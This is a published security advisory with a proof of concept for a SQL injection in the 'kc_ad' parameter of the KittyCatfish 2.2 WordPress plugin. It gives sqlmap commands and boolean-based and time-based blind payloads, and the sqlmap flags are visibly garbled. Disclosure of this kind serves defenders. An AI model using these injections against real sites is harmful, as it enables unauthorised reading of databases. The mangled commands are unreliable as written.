WordPress KittyCatfish 2.2 SQL Injection

# Exploit Title: KittyCatfish 2.2 Plugin for WordPress - SQL Injection
# Date: 20/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins-wp/kittycatfish/
# Software Link: https://wordpress.org/plugins-wp/kittycatfish/
# Version: 2.2
# Contact: [email protected]
# Website: https://tad.bg <https://tad.bg>
# Category: Web Application Exploits
 
 
1. Description 
 
An unescaped parameter was found in KittyCatfish version 2.2 (WP plugin). An attacker can exploit this vulnerability to read from the database.
 
The get oarameter 'kc_ad' is vulnerable.
 
  
2. Proof of concept
 
sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0""  adbms athreads=10 arandom-agent
 
OR
 
sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0" adbms athreads=10 arandom-agent adbms=mysql   alevel 5 arisk=3
 
Parameter: kc_ad (GET)
 
    Type: boolean-based blind
 
    Title: AND boolean-based blind - WHERE or HAVING clause
 
    Payload: kc_ad=31 AND 2281=2281&ver=2.0
 
  
 
    Type: AND/OR time-based blind
 
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
 
    Payload: kc_ad=31 AND (SELECT * FROM (SELECT(SLEEP(5)))xzZh)&ver=2.0
 
  
 
3. Attack outcome:
 
An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
 
4. Impact
 
Critical
 
5. Affected versions
 
<= 2.2
 
6. Disclosure timeline
 
06-Mar-2017 - found the vulnerability
06-Mar-2017 - informed the developer
20-Mar-2017 - release date of this security advisory
 
Not fixed at the date of submitting this exploit.

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